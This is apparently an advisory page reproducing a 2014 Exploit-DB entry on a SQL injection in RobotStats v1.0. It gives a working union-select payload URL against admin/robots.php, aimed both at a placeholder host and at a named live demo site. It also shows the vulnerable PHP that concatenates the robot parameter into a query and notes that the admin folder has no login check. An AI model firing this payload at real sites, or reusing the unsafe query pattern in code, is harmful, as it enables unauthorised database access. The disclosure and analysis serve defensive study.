RobotStats v1.0 (robot param) SQL Injection Vulnerability

vendor:

RobotStats

by:

ZoRLu

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: RobotStats

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:robotstats:robotstats:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

RobotStats v1.0 (robot param) SQL Injection Vulnerability

RobotStats v1.0 is vulnerable to a SQL injection vulnerability due to lack of input validation in the 'robots.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable script with the 'rub' and 'robot' parameters. This will allow the attacker to execute arbitrary SQL queries in the back-end database, potentially resulting in the manipulation or disclosure of sensitive data.

Mitigation:

Input validation should be performed on all user-supplied data to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Title         : RobotStats v1.0 (robot param) SQL Injection Vulnerability
# Author        : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home          : http://milw00rm.com / its online
# Twitter	    : https://twitter.com/milw00rm or @milw00rm
# Date          : 22.11.2014
# Demo		    : http://alpesoiseaux.free.fr/robotstats/
# Download 	    : http://www.robotstats.com/en/robotstats.zip
# Thks          : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
# Birkaciyiadam : Dr.Ly0n, KnocKout, LifeSteaLeR, Nicx (harf sirali :)) )

sql inj.:

target.com/robotstats/admin/robots.php?rub=modif&robot=0x90+union+select+1,2,3,4,5,database(),7,8,9,10

you look other files for sql example (/robotstats/info-robot.php?robot=?)

analysis: (/admin/robots.php)

no security for admin folder (session control, login panel or anyone... maybe its different vulnerability)

include "robots.lib.php"; //line 26

else if ($rub == "modif")
{
  formulaireRobot($robot); //line 44  (we will be analysis to robots.lib.php for line)
}

analysis: (/admin/robots.lib.php)

function formulaireRobot($robot)  //line 71 (remember function line 44 in robots.php)
{
  global $RS_LANG, $RS_LANGUE, $RS_TABLE_ROBOTS, $RS_DETECTION_USER_AGENT, $RS_DETECTION_IP;

  if ($robot != -1)
  {
    $title = $RS_LANG["ModifyRobot"];
    $sql  = "SELECT *";
    $sql .= " FROM ".$RS_TABLE_ROBOTS;
    $sql .= " WHERE id=".$robot;  // line 80  (ver yansin amuga goyum!!!)
    $res  = mysql_query($sql) or erreurServeurMySQL($sql);
    $enr  = mysql_fetch_array($res);
    $rub  = "modif";
    $actif = $enr["actif"];
  } //line 85

for demo:

http://alpesoiseaux.free.fr/robotstats/admin/robots.php?rub=modif&robot=0x90+union+select+1,2,3,4,5,database(),7,8,9,10